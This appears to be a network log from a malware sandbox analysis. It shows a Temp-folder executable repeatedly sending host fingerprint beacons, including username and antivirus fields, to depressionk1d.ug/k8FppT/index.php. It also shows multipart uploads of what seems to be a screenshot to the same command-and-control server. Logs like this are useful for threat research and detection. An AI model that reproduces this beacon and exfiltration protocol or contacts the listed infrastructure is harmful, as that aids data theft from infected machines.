e2 fb f8 e5 ed e8 e5 20 e2 fb e4 e5 eb e5 ed ed fb f5 20 f0 e5 f1 f3 f0 f1 ee e2 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a Data Ascii: <HTML><HEAD><title>508 Resource Limit Is Reached - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>508 Resource Limit Is Reached<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error
Nov 12, 2021 22:24:53.681185961 CET	17833	IN	Data Raw: 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 68 75 6e 64 72 65 64 20 61 6e Data Ascii: - message with a big comment like this to push it - over the five hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
371	192.168.2.4	50221	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:53.813380003 CET	17834	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:53.842993021 CET	17834	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
372	192.168.2.4	50222	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:54.126594067 CET	17837	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:54.167454004 CET	17838	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
373	192.168.2.4	50223	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:54.300174952 CET	17838	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:54.328485966 CET	17839	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
374	192.168.2.4	50224	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:54.468602896 CET	17839	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:55.527674913 CET	17848	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:24:55.538786888 CET	17848	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:55.538861990 CET	17849	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:55.539056063 CET	17859	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:55.539134026 CET	17861	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:55.561889887 CET	17867	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:55.561954975 CET	17886	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:24:55.562478065 CET	17888	OUT	Data Raw: 97 a3 cb 25 9f 95 a6 eb da 83 6a 2a d3 db 5a d9 48 86 68 ad d5 8a 6f 7c 44 db 98 95 63 b4 05 00 01 96 39 c8 ca d3 7c 49 a8 e9 10 df 18 59 e6 bc bd b9 86 e2 4b 99 9f 7e fd 82 40 ca e0 83 bc 38 90 83 93 d3 3d 73 57 a0 f1 3e 9d 15 f6 9f 70 de 1f 9c Data Ascii: %jZHho\|Dc9\|IYK~@8=sW>p_3OXo<F9b1$<V_#_5vE:59[p-fh8QqtAipD+7LgVQo4ZG*EqG\|&Z3<#+F2]"
Nov 12, 2021 22:24:55.584547043 CET	17897	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:24:55.584609032 CET	17916	OUT	Data Raw: 47 59 00 45 4d e8 a4 38 23 09 8c a9 f9 54 1e 32 ad 52 71 95 a3 fd 7f 4b fa d4 d2 95 38 c9 5d ff 00 5f d7 f5 b1 49 3c 31 2c 97 13 03 a9 e9 e9 67 1d 9f db 45 f1 69 4c 2f 16 f0 87 1b 50 be 43 36 08 2a 08 c1 cd 36 4f 09 ea 6b 2d c4 70 18 2e 9a 29 2d Data Ascii: GYEM8#T2RqK8]_I<1,gEiL/PC66Ok-p.)-<'<l~!4e$-FB$;TpJ\{CRh0qhn5-wm3Zyiulndf!Y{7M=
Nov 12, 2021 22:24:55.584644079 CET	17921	OUT	Data Raw: 2b c0 6b dd be 03 de 5a da 78 7f 56 fb 4d cc 30 ee ba 5d be 6c 81 73 84 e7 19 ac 2b fc 06 b4 7e 23 9f ff 00 84 73 5c ff 00 a0 2e a3 ff 00 80 af fe 14 a3 c3 ba ea b0 61 a3 ea 40 83 90 45 ab f1 fa 57 bb ff 00 6c 69 9f f4 12 b3 ff 00 c0 84 ff 00 1a Data Ascii: +kZxVM0]ls+~#s\.a@EWliO/v_]U?Y'Wwe)IdePLmZ5EU?AK/O>2eT6u<KSjV:wwje;j@S%-4&wN5X%WxP2
Nov 12, 2021 22:24:55.584657907 CET	17923	OUT	Data Raw: 6a 64 f3 0c c5 2e 2a 50 86 94 25 04 f3 11 81 4f 02 9e 14 53 c0 5a 64 b9 11 85 a7 84 a7 82 a3 bd 1e 6a 0f e2 14 10 db 62 04 a7 04 a6 9b 98 87 f1 52 7d b6 31 d3 9a 77 42 e5 9b e8 4c 12 94 25 56 37 cb d8 53 7e da 4f 41 45 c3 d9 cc bd b7 14 a0 56 7f Data Ascii: jd.*P%OSZdjbR}1wBL%V7S~OAEVD+RQVW1=w}ExURQa{"h[sFM7w9J~7xqBhh$\kc%5X5.w/YsFr-IM}b]\G
Nov 12, 2021 22:24:55.679779053 CET	17958	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:55 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
375	192.168.2.4	50226	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:55.674156904 CET	17958	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:55.943295956 CET	17958	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
376	192.168.2.4	50227	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:56.080647945 CET	17959	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:56.139010906 CET	17959	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
377	192.168.2.4	50228	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:56.267755032 CET	17960	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:56.318522930 CET	17960	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
378	192.168.2.4	50229	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:56.460182905 CET	17961	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:56.496539116 CET	17962	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
379	192.168.2.4	50230	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:56.625072002 CET	17962	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:56.667696953 CET	17963	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:24:56.698250055 CET	17963	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:56.698446035 CET	17963	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:56.698704004 CET	17973	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:56.698847055 CET	17976	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:56.721332073 CET	17981	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:56.721375942 CET	17987	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:24:56.721430063 CET	17992	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:24:56.721450090 CET	17997	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:24:56.721487999 CET	18003	OUT	Data Raw: 1d c8 50 67 31 ec 90 15 65 23 95 c0 3f 74 0e 46 7d eb 95 8f 52 bf 8a dd ed e3 bd b9 48 5d 76 bc 6b 2b 05 61 e8 46 70 45 74 47 0d 2b dd b2 25 88 8d ac 91 56 92 8a 2b b4 e4 14 51 45 14 c0 2b e9 3f 83 cc bf f0 85 6d c8 dc 26 04 8f 63 1a 7f 81 af 9b Data Ascii: Pg1e#?tF}RH]vk+aFpEtG+%V+QE+?m&c+oK>\Xr;+c*G:5)vRK[_f}+/5KHlb}(z9rZa{6>(Ucw5<OAK')uU+/ts`
Nov 12, 2021 22:24:56.744415045 CET	18008	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
